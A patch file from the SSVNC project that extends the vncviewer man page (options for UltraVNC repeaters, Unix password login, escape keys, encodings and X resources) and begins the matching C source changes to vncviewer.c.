-+translation SelectionToVNC(always)
-+.TP
-+\fB\-recvtext\fR
-+str When cut text is received from the VNC server,
-+ssvncviewer will set both the X PRIMARY and the
-+X CLIPBOARD local selections. To control which
-+is set, specify 'str' as 'primary', 'clipboard',
-+or 'both' (the default.)
-+.TP
-+\fB\-graball\fR
-+Grab the entire X server when in fullscreen mode,
-+needed by some old window managers like fvwm2.
-+.TP
-+\fB\-popupfix\fR
-+Warp the popup back to the pointer position,
-+needed by some old window managers like fvwm2.
-+.TP
-+\fB\-grabkbd\fR
-+Grab the X keyboard when in fullscreen mode,
-+needed by some window managers. Same as \fB\-grabkeyboard\fR.
-+\fB\-grabkbd\fR is the default, use \fB\-nograbkbd\fR to disable.
-+.TP
-+\fB\-bs\fR, \fB\-nobs\fR
-+Whether or not to use X server Backingstore for the
-+main viewer window. The default is to not, mainly
-+because most Linux, etc, systems X servers disable
-+*all* Backingstore by default. To re\fB\-enable\fR it put
-+
-+Option "Backingstore"
-+
-+in the Device section of /etc/X11/xorg.conf.
-+In \fB\-bs\fR mode with no X server backingstore, whenever an
-+area of the screen is re\fB\-exposed\fR it must go out to the
-+VNC server to retrieve the pixels. This is too slow.
-+
-+In \fB\-nobs\fR mode, memory is allocated by the viewer to
-+provide its own backing of the main viewer window. This
-+actually makes some activities faster (changes in large
-+regions) but can appear to "flash" too much.
-+.TP
-+\fB\-noshm\fR
-+Disable use of MIT shared memory extension (not recommended)
-+.TP
-+\fB\-termchat\fR
-+Do the UltraVNC chat in the terminal vncviewer is in
-+instead of in an independent window.
-+.TP
-+\fB\-unixpw\fR \fIstr\fR
-+Useful for logging into x11vnc in \fB\-unixpw\fR mode. "str" is a
-+string that allows many ways to enter the Unix Username
-+and Unix Password. These characters: username, newline,
-+password, newline are sent to the VNC server after any VNC
-+authentication has taken place. Under x11vnc they are
-+used for the \fB\-unixpw\fR login. Other VNC servers could do
-+something similar.
-+
-+You can also indicate "str" via the environment
-+variable SSVNC_UNIXPW.
-+
-+Note that the Escape key is actually sent first to tell
-+x11vnc to not echo the Unix Username back to the VNC
-+viewer. Set SSVNC_UNIXPW_NOESC=1 to override this.
-+
-+If str is ".", then you are prompted at the command line
-+for the username and password in the normal way. If str is
-+"-" the stdin is read via getpass(3) for username@password.
-+Otherwise if str is a file, it is opened and the first line
-+read is taken as the Unix username and the 2nd as the
-+password. If str prefixed by "rm:" the file is removed
-+after reading. Otherwise, if str has a "@" character,
-+it is taken as username@password. Otherwise, the program
-+exits with an error. Got all that?
-+.TP
-+\fB-repeater\fR \fIstr\fR
-+This is for use with UltraVNC repeater proxy described
-+here: http://www.uvnc.com/addons/repeater.html. The "str"
-+is the ID string to be sent to the repeater. E.g. ID:1234
-+It can also be the hostname and port or display of the VNC
-+server, e.g. 12.34.56.78:0 or snoopy.com:1. Note that when
-+using -repeater, the host:dpy on the cmdline is the repeater
-+server, NOT the VNC server. The repeater will connect you.
-+
-+Example: vncviewer ... -repeater ID:3333 repeat.host:5900
-+
-+Example: vncviewer ... -repeater vhost:0 repeat.host:5900
-+
-+Use, e.g., '-repeater SCIII=ID:3210' if the repeater is a
-+Single Click III (SSL) repeater (repeater_SSL.exe) and you
-+are passing the SSL part of the connection through stunnel, socat, etc.
-+This way the magic UltraVNC string 'testB' needed to work with the
-+repeater is sent to it.
-+.TP
-+\fB-rfbversion\fR \fIstr\fR
-+Set the advertised RFB version. E.g.: -rfbversion 3.6 For some
-+servers, e.g. UltraVNC this needs to be done.
-+.TP
-+\fB-ultradsm\fR
-+UltraVNC has symmetric private encryption DSM plugins. See
-+http://www.uvnc.com/features/encryption.html. It is assumed
-+you are using a unix program (e.g. our ultravnc_dsm_helper) to
-+encrypt and decrypt the UltraVNC DSM stream. IN ADDITION TO
-+THAT supply -ultradsm to tell THIS viewer to modify the RFB
-+data sent so as to work with the UltraVNC Server. For some
-+reason, each RFB msg type must be sent twice under DSM.
-+.TP
-+\fB\-mslogon\fR \fIuser\fR
-+Use Windows MS Logon to an UltraVNC server. Supply the
-+username or "1" to be prompted. The default is to
-+autodetect the UltraVNC MS Logon server and prompt for
-+the username and password.
-+
-+IMPORTANT NOTE: The UltraVNC MS-Logon Diffie-Hellman
-+exchange is very weak and can be brute forced to recover
-+your username and password in a few seconds of CPU
-+time. To be safe, be sure to use an additional encrypted
-+tunnel (e.g. SSL or SSH) for the entire VNC session.
-+.TP
-+\fB\-chatonly\fR
-+Try to be a client that only does UltraVNC text chat. This
-+mode is used by x11vnc to present a chat window on the physical
-+X11 console (i.e. to chat with the person at the display).
-+.TP
-+\fB-env\fR \fIVAR=VALUE\fR
-+To save writing a shell script to set environment
-+variables, specify as many as you need on the command line. For example,
-+-env SSVNC_MULTIPLE_LISTEN=MAX:5 -env EDITOR=vi
-+.TP
-+\fB\-noipv6\fR
-+Disable all IPv6 sockets. Same as VNCVIEWER_NO_IPV6=1.
-+.TP
-+\fB\-noipv4\fR
-+Disable all IPv4 sockets. Same as VNCVIEWER_NO_IPV4=1.
-+.TP
-+\fB\-printres\fR
-+Print out the Ssvnc X resources (appdefaults) and
-+then exit. You can save them to a file and customize them (e.g. the
-+keybindings and Popup menu) Then point to the file via
-+XENVIRONMENT or XAPPLRESDIR.
-+.TP
-+\fB\-pipeline\fR
-+Like TurboVNC, request the next framebuffer update as soon
-+as possible instead of waiting until the end of the current
-+framebuffer update coming in. Helps 'pipeline' the updates.
-+This is currently the default, use \fB-nopipeline\fR to disable.
-+.TP
-+\fB\-appshare\fR
-+Enable features for use with x11vnc's \fB\-appshare\fR mode where
-+instead of sharing the full desktop only the application's
-+windows are shared. Viewer multilisten mode is used to
-+create the multiple windows: \fB\-multilisten\fR is implied.
-+See 'x11vnc \fB\-appshare\fR \fB\-help\fR' more information on the mode.
-+Features enabled in the viewer under \fB\-appshare\fR are:
-+Minimum extra text in the title, auto \fB\-ycrop\fR is disabled,
-+x11vnc \fB\-remote_prefix\fR X11VNC_APPSHARE_CMD: message channel,
-+x11vnc initial window position hints. See also Escape Keys
-+below for additional key and mouse bindings.
-+.TP
-+\fB\-escape \fR\fIstr\fR
-+This sets the 'Escape Keys' modifier sequence and enables
-+escape keys mode. When the modifier keys escape sequence
-+is held down, the next keystroke is interpreted locally
-+to perform a special action instead of being sent to the
-+remote VNC server.
-+
-+Use '\fB\-escape\fR default' for the default modifier sequence.
-+(Unix: Alt_L,Super_L and MacOSX: Control_L,Meta_L)
-+
-+Here are the 'Escape Keys: Help+Set' instructions from the Popup:
-+
-+Escape Keys: Enter a comma separated list of modifier keys to be the 'escape
-+sequence'. When these keys are held down, the next keystroke is
-+interpreted locally to invoke a special action instead of being sent to
-+the remote VNC server. In other words, a set of 'Hot Keys'.
-+
-+Here is the list of local key mappings to special actions:
-+
-+r: refresh desktop b: toggle bell c: toggle full-color
-+
-+f: file transfer x: x11cursor z: toggle Tight/ZRLE
-+
-+l: full screen g: graball e: escape keys dialog
-+
-+s: scale dialog +: scale up (=) -: scale down (_)
-+
-+t: text chat a: alphablend cursor
-+
-+V: toggle viewonly Q: quit viewer 123456: UltraVNC scale 1/n
-+
-+Arrow keys: pan the viewport about 10% for each keypress.
-+
-+PageUp/PageDown: pan the viewport by a screenful vertically.
-+
-+Home/End: pan the viewport by a screenful horizontally.
-+
-+KeyPad Arrows: pan the viewport by 1 pixel for each keypress.
-+
-+Dragging the Mouse with Button1 pressed also pans the viewport.
-+
-+Clicking Mouse Button3 brings up the Popup Menu.
-+
-+The above mappings are \fBalways\fR active in ViewOnly mode, unless you set
-+the Escape Keys value to 'never'.
-+
-+x11vnc -appshare hot-keys: x11vnc has a simple application sharing mode
-+that enables the viewer-side to move, resize, or raise the remote toplevel
-+windows. To enable it, hold down Shift + the Escape Keys and press these:
-+
-+Arrow keys: move the remote window around in its desktop.
-+
-+PageUp/PageDn/Home/End: resize the remote window.
-+
-++/-: raise or lower the remote window.
-+
-+M or Button1 move win to local position; D or Button3: delete remote win.
-+
-+If the Escape Keys value below is set to 'default' then a default list of
-+of modifier keys is used. For Unix it is: Alt_L,Super_L and for MacOSX it
-+is Control_L,Meta_L. Note: the Super_L key usually has a Windows(TM) Flag
-+on it. Also note the _L and _R mean the key is on the LEFT or RIGHT side
-+of the keyboard.
-+
-+On Unix the default is Alt and Windows keys on Left side of keyboard.
-+On MacOSX the default is Control and Command keys on Left side of keyboard.
-+
-+Example: Press and hold the Alt and Windows keys on the LEFT side of the
-+keyboard and then press 'c' to toggle the full-color state. Or press 't'
-+to toggle the ultravnc Text Chat window, etc.
-+
-+To use something besides the default, supply a comma separated list (or a
-+single one) from: Shift_L Shift_R Control_L Control_R Alt_L Alt_R Meta_L
-+Meta_R Super_L Super_R Hyper_L Hyper_R or Mode_switch.
-+.TP
-+\fB New Popup actions:\fR
-+
-+ ViewOnly: ~ -viewonly
-+ Disable Bell: ~ -nobell
-+ Cursor Shape: ~ -nocursorshape
-+ X11 Cursor: ~ -x11cursor
-+ Cursor Alphablend: ~ -alpha
-+ Toggle Tight/Hextile: ~ -encodings hextile...
-+ Toggle Tight/ZRLE: ~ -encodings zrle...
-+ Toggle ZRLE/ZYWRLE: ~ -encodings zywrle...
-+ Quality Level ~ -quality (both Tight and ZYWRLE)
-+ Compress Level ~ -compresslevel
-+ Disable JPEG: ~ -nojpeg (Tight)
-+ Pipeline Updates ~ -pipeline
-+
-+ Full Color as many colors as local screen allows.
-+ Grey scale (16 & 8-bpp) ~ -grey, for low colors 16/8bpp modes only.
-+ 16 bit color (BGR565) ~ -16bpp / -bgr565
-+ 8 bit color (BGR233) ~ -bgr233
-+ 256 colors ~ -bgr233 default # of colors.
-+ 64 colors ~ -bgr222 / -use64
-+ 8 colors ~ -bgr111 / -use8
-+ Scale Viewer ~ -scale
-+ Escape Keys: Toggle ~ -escape
-+ Escape Keys: Help+Set ~ -escape
-+ Set Y Crop (y-max) ~ -ycrop
-+ Set Scrollbar Width ~ -sbwidth
-+ XGrabServer ~ -graball
-+
-+ UltraVNC Extensions:
-+
-+ Set 1/n Server Scale Ultravnc ext. Scale desktop by 1/n.
-+ Text Chat Ultravnc ext. Do Text Chat.
-+ File Transfer Ultravnc ext. File xfer via Java helper.
-+ Single Window Ultravnc ext. Grab and view a single window.
-+ (select then click on the window you want).
-+ Disable Remote Input Ultravnc ext. Try to prevent input and
-+ viewing of monitor at physical display.
-+
-+ Note: the Ultravnc extensions only apply to servers that support
-+ them. x11vnc/libvncserver supports some of them.
-+
-+ Send Clipboard not Primary ~ -sendclipboard
-+ Send Selection Every time ~ -sendalways
-+
-+.SH ENCODINGS
-+The server supplies information in whatever format is desired by the
-+client, in order to make the client as easy as possible to implement.
-+If the client represents itself as able to use multiple formats, the
-+server will choose one.
-+
-+.I Pixel format
-+refers to the representation of an individual pixel. The most common
-+formats are 24 and 16 bit "true\-color" values, and 8\-bit "color map"
-+representations, where an arbitrary map converts the color number to
-+RGB values.
-+
-+.I Encoding
-+refers to how a rectangle of pixels are sent (all pixel information in
-+VNC is sent as rectangles). All rectangles come with a header giving
-+the location and size of the rectangle and an encoding type used by
-+the data which follows. These types are listed below.
-+.TP
-+.B Raw
-+The raw encoding simply sends width*height pixel values. All clients
-+are required to support this encoding type. Raw is also the fastest
-+when the server and viewer are on the same machine, as the connection
-+speed is essentially infinite and raw encoding minimizes processing
-+time.
-+.TP
-+.B CopyRect
-+The Copy Rectangle encoding is efficient when something is being
-+moved; the only data sent is the location of a rectangle from which
-+data should be copied to the current location. Copyrect could also be
-+used to efficiently transmit a repeated pattern.
-+.TP
-+.B RRE
-+The Rise\-and\-Run\-length\-Encoding is basically a 2D version of
-+run\-length encoding (RLE). In this encoding, a sequence of identical
-+pixels are compressed to a single value and repeat count. In VNC, this
-+is implemented with a background color, and then specifications of an
-+arbitrary number of subrectangles and color for each. This is an
-+efficient encoding for large blocks of constant color.
-+.TP
-+.B CoRRE
-+This is a minor variation on RRE, using a maximum of 255x255 pixel
-+rectangles. This allows for single\-byte values to be used, reducing
-+packet size. This is in general more efficient, because the savings
-+from sending 1\-byte values generally outweighs the losses from the
-+(relatively rare) cases where very large regions are painted the same
-+color.
-+.TP
-+.B Hextile
-+Here, rectangles are split up in to 16x16 tiles, which are sent in a
-+predetermined order. The data within the tiles is sent either raw or
-+as a variant on RRE. Hextile encoding is usually the best choice for
-+using in high\-speed network environments (e.g. Ethernet local\-area
-+networks).
-+.TP
-+.B Zlib
-+Zlib is a very simple encoding that uses zlib library to compress raw
-+pixel data. This encoding achieves good compression, but consumes a
-+lot of CPU time. Support for this encoding is provided for
-+compatibility with VNC servers that might not understand Tight
-+encoding which is more efficient than Zlib in nearly all real\-life
-+situations.
-+.TP
-+.B Tight
-+Like Zlib encoding, Tight encoding uses zlib library to compress the
-+pixel data, but it pre\-processes data to maximize compression ratios,
-+and to minimize CPU usage on compression. Also, JPEG compression may
-+be used to encode color\-rich screen areas (see the description of
-+\-quality and \-nojpeg options above). Tight encoding is usually the
-+best choice for low\-bandwidth network environments (e.g. slow modem
-+connections).
-+.TP
-+.B ZRLE
-+The SSVNC viewer has ported the RealVNC (www.realvnc.com) ZRLE encoding
-+to the unix tightvnc viewer.
-+.TP
-+.B ZYWRLE
-+The SSVNC viewer has ported the Hitachi lossy wavelet based ZRLE
-+encoding from http://mobile.hitachi-system.co.jp/publications/ZYWRLE/
-+to the unix tightvnc viewer.
-+.SH RESOURCES
-+X resources that \fBvncviewer\fR knows about, aside from the
-+normal Xt resources, are as follows:
-+.TP
-+.B shareDesktop
-+Equivalent of \fB\-shared\fR/\fB\-noshared\fR options. Default true.
-+.TP
-+.B viewOnly
-+Equivalent of \fB\-viewonly\fR option. Default false.
-+.TP
-+.B fullScreen
-+Equivalent of \fB\-fullscreen\fR option. Default false.
-+.TP
-+.B grabKeyboard
-+Grab keyboard in full-screen mode. This can help to solve problems
-+with losing keyboard focus. Default false.
-+.TP
-+.B raiseOnBeep
-+Equivalent of \fB\-noraiseonbeep\fR option, when set to false. Default
-+true.
-+.TP
-+.B passwordFile
-+Equivalent of \fB\-passwd\fR option.
-+.TP
-+.B userLogin
-+Equivalent of \fB\-user\fR option.
-+.TP
-+.B passwordDialog
-+Whether to use a dialog box to get the password (true) or get it from
-+the tty (false). Irrelevant if \fBpasswordFile\fR is set. Default
-+false.
-+.TP
-+.B encodings
-+Equivalent of \fB\-encodings\fR option.
-+.TP
-+.B compressLevel
-+Equivalent of \fB\-compresslevel\fR option (TightVNC\-specific).
-+.TP
-+.B qualityLevel
-+Equivalent of \fB\-quality\fR option (TightVNC\-specific).
-+.TP
-+.B enableJPEG
-+Equivalent of \fB\-nojpeg\fR option, when set to false. Default true.
-+.TP
-+.B useRemoteCursor
-+Equivalent of \fB\-nocursorshape\fR option, when set to false
-+(TightVNC\-specific). Default true.
-+.TP
-+.B useBGR233
-+Equivalent of \fB\-bgr233\fR option. Default false.
-+.TP
-+.B nColours
-+When using BGR233, try to allocate this many "exact" colors from the
-+BGR233 color cube. When using a shared colormap, setting this resource
-+lower leaves more colors for other X clients. Irrelevant when using
-+truecolor. Default is 256 (i.e. all of them).
-+.TP
-+.B useSharedColours
-+If the number of "exact" BGR233 colors successfully allocated is less
-+than 256 then the rest are filled in using the "nearest" colors
-+available. This resource says whether to only use the "exact" BGR233
-+colors for this purpose, or whether to use other clients' "shared"
-+colors as well. Default true (i.e. use other clients' colors).
-+.TP
-+.B forceOwnCmap
-+Equivalent of \fB\-owncmap\fR option. Default false.
-+.TP
-+.B forceTrueColour
-+Equivalent of \fB\-truecolour\fR option. Default false.
-+.TP
-+.B requestedDepth
-+Equivalent of \fB\-depth\fR option.
-+.TP
-+.B useSharedMemory
-+Use MIT shared memory extension if on the same machine as the X
-+server. Default true.
-+.TP
-+.B wmDecorationWidth, wmDecorationHeight
-+The total width and height taken up by window manager decorations.
-+This is used to calculate the maximum size of the VNC viewer window.
-+Default is width 4, height 24.
-+.TP
-+.B bumpScrollTime, bumpScrollPixels
-+When in full screen mode and the VNC desktop is bigger than the X
-+display, scrolling happens whenever the mouse hits the edge of the
-+screen. The maximum speed of scrolling is bumpScrollPixels pixels
-+every bumpScrollTime milliseconds. The actual speed of scrolling will
-+be slower than this, of course, depending on how fast your machine is.
-+Default 20 pixels every 25 milliseconds.
-+.TP
-+.B popupButtonCount
-+The number of buttons in the popup window. See the README file for
-+more information on how to customize the buttons.
-+.TP
-+.B debug
-+For debugging. Default false.
-+.TP
-+.B rawDelay, copyRectDelay
-+For debugging, see the README file for details. Default 0 (off).
-+.SH ENVIRONMENT
-+When started with the \fB\-via\fR option, vncviewer reads the
-+\fBVNC_VIA_CMD\fR environment variable, expands patterns beginning
-+with the "%" character, and executes result as a command assuming that
-+it would create TCP tunnel that should be used for VNC connection. If
-+not set, this environment variable defaults to "/usr/bin/ssh -f -L
-+%L:%H:%R %G sleep 20".
-+
-+The following patterns are recognized in the \fBVNC_VIA_CMD\fR (note
-+that all the patterns %G, %H, %L and %R must be present in the command
-+template):
-+.TP
-+.B %%
-+A literal "%";
-+.TP
-+.B %G
-+gateway host name;
-+.TP
-+.B %H
-+remote VNC host name, as known to the gateway;
-+.TP
-+.B %L
-+local TCP port number;
-+.TP
-+.B %R
-+remote TCP port number.
-+.SH SEE ALSO
-+\fBvncserver\fR(1), \fBx11vnc\fR(1), \fBssvnc\fR(1), \fBXvnc\fR(1), \fBvncpasswd\fR(1),
-+\fBvncconnect\fR(1), \fBssh\fR(1), http://www.karlrunge.com/x11vnc, http://www.karlrunge.com/x11vnc/ssvnc.html
-+.SH AUTHORS
-+Original VNC was developed in AT&T Laboratories Cambridge. TightVNC
-+additions was implemented by Constantin Kaplinsky. Many other people
-+participated in development, testing and support. Karl J. Runge
-+added all of the SSVNC related features and improvements.
-+
-+\fBMan page authors:\fR
-+.br
-+Marcus Brinkmann <Marcus.Brinkmann@ruhr-uni-bochum.de>,
-+.br
-+Terran Melconian <terran@consistent.org>,
-+.br
-+Tim Waugh <twaugh@redhat.com>,
-+.br
-+Constantin Kaplinsky <const@ce.cctpu.edu.ru>
-+.br
-+Karl J. Runge <runge@karlrunge.com>
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/vncviewer.c vnc_unixsrc/vncviewer/vncviewer.c
---- vnc_unixsrc.orig/vncviewer/vncviewer.c 2004-01-13 09:22:05.000000000 -0500
-+++ vnc_unixsrc/vncviewer/vncviewer.c 2010-04-18 12:43:47.000000000 -0400
-@@ -22,6 +22,8 @@
- */
-
- #include "vncviewer.h"
-+#include <ctype.h>
-+#include <X11/Xaw/Toggle.h>
-
- char *programName;
- XtAppContext appContext;
-@@ -29,11 +31,274 @@
-
- Widget toplevel;
-
-+extern void raiseme(int force);
-+extern void CreateChat(void);
-+
-+void set_sbwidth(int sbw) {
-+ char *q, *p, t[5];
-+ int i, k, N = 4;
-+ int db = 0;
-+
-+ if (sbw < 1) {
-+ sbw = 2;
-+ } else if (sbw > 100) {
-+ sbw = 100;
-+ }
-+ if (db) fprintf(stderr, "sbw: %d\n", sbw);
-+
-+ sprintf(t, "%4d", sbw);
-+ k = 0;
-+ while (fallback_resources[k] != NULL) {
-+ q = strstr(fallback_resources[k], "horizontal.height: ");
-+ if (!q) {
-+ q = strstr(fallback_resources[k], "vertical.width: ");
-+ }
-+ if (q) {
-+ p = strdup(fallback_resources[k]);
-+ q = strstr(p, ": ");
-+ if (q) {
-+ q++;
-+ q++;
-+ for (i=0; i < N; i++) {
-+ *(q+i) = t[i];
-+ }
-+ fallback_resources[k] = p;
-+ if (db) fprintf(stderr, "res: %s\n\n", p);
-+ }
-+ }
-+ k++;
-+ }
-+}
-+
-+void min_title(void) {
-+ char *q;
-+ int k;
-+
-+ k = 0;
-+ while (fallback_resources[k] != NULL) {
-+ q = strstr(fallback_resources[k], "Ssvnc.title: ");
-+ if (q) {
-+ fallback_resources[k] = strdup("Ssvnc.title: %s");
-+ }
-+ k++;
-+ }
-+}
-+
-+#include <sys/types.h>
-+#include <sys/stat.h>
-+#include <unistd.h>
-+
-+void unixpw(char *instr, int vencrypt_plain) {
-+ char *str, *q, *infile = NULL;
-+ FILE *in;
-+ int i, rmfile = 0;
-+ struct stat sb;
-+ int N = 99;
-+ char username[100], passwd[100];
-+ static int did = 0;
-+
-+ if (did) {
-+ return;
-+ }
-+ did = 1;
-+
-+ for (i=0; i<100; i++) {
-+ username[i] = '\0';
-+ passwd[i] = '\0';
-+ }
-+
-+ if (instr == NULL) {
-+ return;
-+ } else if (!strcmp(instr, "")) {
-+ return;
-+ }
-+
-+ str = strdup(instr);
-+
-+ if (strstr(str, "rm:") == str) {
-+ rmfile = 1;
-+ infile = str + strlen("rm:");
-+ } else if (stat(str, &sb) == 0) {
-+ infile = str;
-+ }
-+ if (!strcmp(str, ".")) {
-+ char *p;
-+ if (!use_tty()) {
-+ char *u;
-+ fprintf(stderr, "\nEnter Unix Username and Password in the popups.\n");
-+ u = DoUserDialog();
-+ if (strlen(u) >= 100) {
-+ exit(1);
-+ }
-+ sprintf(username, u);
-+ p = DoPasswordDialog();
-+ } else {
-+ raiseme(1);
-+ fprintf(stderr, "\nUnix Username: ");
-+ if (fgets(username, N, stdin) == NULL) {
-+ exit(1);
-+ }
-+ p = getpass("Unix Password: ");
-+ }
-+ if (! p) {
-+ exit(1);
-+ }
-+ strncpy(passwd, p, N);
-+ fprintf(stderr, "\n");
-+
-+ } else if (!strcmp(str, "-")) {
-+ char *p, *q;
-+ if (!use_tty()) {
-+ fprintf(stderr, "\nEnter unixuser@unixpasswd in the popup.\n");
-+ p = DoPasswordDialog();
-+ } else {
-+ raiseme(1);
-+ p = getpass("unixuser@unixpasswd: ");
-+ }
-+ if (! p) {
-+ exit(1);
-+ }
-+ q = strchr(p, '@');
-+ if (! q) {
-+ exit(1);
-+ }
-+ *q = '\0';
-+ strncpy(username, p, N);
-+ strncpy(passwd, q+1, N);
-+
-+ } else if (infile) {
-+ in = fopen(infile, "r");
-+ if (in == NULL) {
-+ fprintf(stderr, "failed to open -unixpw file.\n");
-+ exit(1);
-+ }
-+ if (fgets(username, N, in) == NULL) {
-+ exit(1);
-+ }
-+ if (fgets(passwd, N, in) == NULL) {
-+ exit(1);
-+ }
-+ fclose(in);
-+ fprintf(stderr, "read username@passwd from file: %s\n", infile);
-+ if (rmfile) {
-+ fprintf(stderr, "deleting username@passwd file: %s\n", infile);
-+ unlink(infile);
-+ }
-+ } else if (strchr(str, '@')) {
-+ char *q = strchr(str, '@');
-+ *q = '\0';
-+ strncpy(username, str, N);
-+ strncpy(passwd, q+1, N);
-+ } else {
-+ exit(1);
-+ }
-+
-+ free(str);
-+
-+ if (vencrypt_plain) {
-+ CARD32 ulen, plen;
-+ char *q;
-+
-+ q = strrchr(username, '\n');
-+ if (q) *q = '\0';
-+ q = strrchr(passwd, '\n');
-+ if (q) *q = '\0';
-+
-+ ulen = Swap32IfLE((CARD32)strlen(username));
-+ plen = Swap32IfLE((CARD32)strlen(passwd));
-+
-+ if (!WriteExact(rfbsock, (char *)&ulen, 4) ||
-+ !WriteExact(rfbsock, (char *)&plen, 4)) {
-+ return;
-+ }
-+
-+ if (!WriteExact(rfbsock, username, strlen(username)) ||
-+ !WriteExact(rfbsock, passwd, strlen(passwd))) {
-+ return;
-+ }
-+ return;
-+ }
-+
-+
-+ if (! getenv("SSVNC_UNIXPW_NOESC")) {
-+ SendKeyEvent(XK_Escape, 1);
-+ SendKeyEvent(XK_Escape, 0);
-+ }
-+
-+ q = username;
-+ while (*q != '\0' && *q != '\n') {
-+ char c = *q;
-+ if (c >= 0x20 && c <= 0x07e) {
-+ KeySym ks = (KeySym) c;
-+ SendKeyEvent(ks, 1);
-+ SendKeyEvent(ks, 0);
-+ }
-+ q++;
-+ }
-+
-+ SendKeyEvent(XK_Return, 1);
-+ SendKeyEvent(XK_Return, 0);
-+
-+ q = passwd;
-+ while (*q != '\0' && *q != '\n') {
-+ char c = *q;
-+ if (c >= 0x20 && c <= 0x07e) {
-+ KeySym ks = (KeySym) c;
-+ SendKeyEvent(ks, 1);
-+ SendKeyEvent(ks, 0);
-+ }
-+ q++;
-+ }
-+
-+ SendKeyEvent(XK_Return, 1);
-+ SendKeyEvent(XK_Return, 0);
-+}
-+
-+static void chat_window_only(void) {
-+ if (appData.chatOnly) {
-+ static double last_time = 0.0;
-+ if (dnow() > last_time + 1.5) {
-+ XSync(dpy, False);
-+ XUnmapWindow(dpy, XtWindow(toplevel));
-+ }
-+ }
-+}
-+
-+int saw_appshare = 0;
-+
- int
- main(int argc, char **argv)
- {
-- int i;
-- programName = argv[0];
-+ int i, save_sbw, saw_listen = 0;
-+ char *pw_loc = NULL;
-+ programName = argv[0];
-+
-+ if (strrchr(programName, '/') != NULL) {
-+ programName = strrchr(programName, '/') + 1;
-+ }
-+
-+ for (i = 1; i < argc; i++) {
-+ if (!strcmp(argv[i], "-env")) {
-+ if (i+1 < argc) {
-+ char *estr = argv[i+1];
-+ if (strchr(estr, '=')) {
-+ putenv(estr);
-+ }
-+ }
-+ }
-+ if (!strcmp(argv[i], "-noipv4")) {
-+ putenv("VNCVIEWER_NO_IPV4=1");
-+ }
-+ if (!strcmp(argv[i], "-noipv6")) {
-+ putenv("VNCVIEWER_NO_IPV6=1");
-+ }
-+ }
-+ if (getenv("VNCVIEWER_NO_IPV4")) {
-+ appData.noipv4 = True;
-+ }
-+ if (getenv("VNCVIEWER_NO_IPV6")) {
-+ appData.noipv6 = True;
-+ }
-
- /* The -listen option is used to make us a daemon process which listens for
- incoming connections from servers, rather than actively connecting to a
-@@ -45,89 +310,1744 @@
- listenForIncomingConnections() returns, setting the listenSpecified
- flag. */
-
-- for (i = 1; i < argc; i++) {
-- if (strcmp(argv[i], "-listen") == 0) {
-- listenForIncomingConnections(&argc, argv, i);
-- break;
-- }
-- if (strcmp(argv[i], "-tunnel") == 0 || strcmp(argv[i], "-via") == 0) {
-- if (!createTunnel(&argc, argv, i))
-- exit(1);
-- break;
-- }
-- }
-+ for (i = 1; i < argc; i++) {
-+ if (!strcmp(argv[i], "-appshare")) {
-+ putenv("SSVNC_MULTIPLE_LISTEN=1");
-+ fprintf(stderr, "Enabling -multilisten mode for 'x11vnc -appshare' usage.\n\n");
-+ saw_appshare = 1;
-+ }
-+ if (!strcmp(argv[i], "-multilisten")) {
-+ putenv("SSVNC_MULTIPLE_LISTEN=1");
-+ saw_listen = 2;
-+ }
-+ if (!strcmp(argv[i], "-listen")) {
-+ saw_listen = 1;
-+ }
-+ if (!strcmp(argv[i], "-acceptpopup")) {
-+ putenv("SSVNC_ACCEPT_POPUP=1");
-+ }
-+ if (!strcmp(argv[i], "-acceptpopupsc")) {
-+ putenv("SSVNC_ACCEPT_POPUP_SC=1");
-+ }
-+ if (strstr(argv[i], " pw=") != NULL) {
-+ pw_loc = strstr(argv[i], " pw=") + 1;
-+ }
-+ }
-+
-+ for (i = 1; i < argc; i++) {
-+ if (!strcmp(argv[i], "-appshare") && !saw_listen) {
-+ listenForIncomingConnections(&argc, argv, i);
-+ break;
-+ }
-+ if (!strcmp(argv[i], "-multilisten")) {
-+ listenForIncomingConnections(&argc, argv, i);
-+ break;
-+ }
-+ if (!strcmp(argv[i], "-listen")) {
-+ listenForIncomingConnections(&argc, argv, i);
-+ break;
-+ }
-+ if (!strcmp(argv[i], "-tunnel") || !strcmp(argv[i], "-via")) {
-+ if (!createTunnel(&argc, argv, i)) {
-+ exit(1);
-+ }
-+ break;
-+ }
-+ if (!strcmp(argv[i], "-printres") || !strcmp(argv[i], "-res")) {
-+ int j = 0;
-+ fprintf(stdout, "\n! Ssvnc fallback X resources:\n\n");
-+ while (1) {
-+ char *p = fallback_resources[j++];
-+ int k = 0;
-+ if (p == NULL) break;
-+ while (*p != '\0') {
-+ fprintf(stdout, "%c", *p);
-+ if (k > 0 && *p == 'n' && *(p-1) == '\\') {
-+ fprintf(stdout, "\\\n");
-+ }
-+ p++; k++;
-+ }
-+ fprintf(stdout, "\n\n");
-+ }
-+ exit(0);
-+ }
-+ }
-+
-+
-+ if (argc > 1 && strstr(argv[1], "-h") == argv[1]) {
-+ usage();
-+ return 0;
-+ }
-
- /* Call the main Xt initialisation function. It parses command-line options,
- generating appropriate resource specs, and makes a connection to the X
- display. */
-
-- toplevel = XtVaAppInitialize(&appContext, "Vncviewer",
-- cmdLineOptions, numCmdLineOptions,
-- &argc, argv, fallback_resources,
-- XtNborderWidth, 0, NULL);
-+ if (saw_appshare || getenv("VNCVIEWER_MIN_TITLE")) {
-+ min_title();
-+ }
-+ appData.sbWidth = 0;
-+ if (getenv("VNCVIEWER_SBWIDTH")) {
-+ int sbw = atoi(getenv("VNCVIEWER_SBWIDTH"));
-+ if (sbw > 0) {
-+ appData.sbWidth = sbw;
-+ }
-+ }
-+ if (appData.sbWidth == 0) {
-+ int i, sbw = 0;
-+ for (i = 1; i < argc - 1; i++) {
-+ if (!strcmp(argv[i], "-sbwidth")) {
-+ sbw = atoi(argv[i+1]);
-+ }
-+ }
-+ if (sbw > 0) {
-+ appData.sbWidth = sbw;
-+ }
-+ }
-+ save_sbw = appData.sbWidth;
-+ if (save_sbw > 0) {
-+ set_sbwidth(save_sbw);
-+ } else {
-+ set_sbwidth(6);
-+ }
-+
-+ toplevel = XtVaAppInitialize(&appContext, "Ssvnc", cmdLineOptions,
-+ numCmdLineOptions, &argc, argv, fallback_resources,
-+ XtNborderWidth, 0, NULL);
-
-- dpy = XtDisplay(toplevel);
-+ dpy = XtDisplay(toplevel);
-
- /* Interpret resource specs and process any remaining command-line arguments
- (i.e. the VNC server name). If the server name isn't specified on the
- command line, getArgsAndResources() will pop up a dialog box and wait
- for one to be entered. */
-
-- GetArgsAndResources(argc, argv);
-+ GetArgsAndResources(argc, argv);
-+
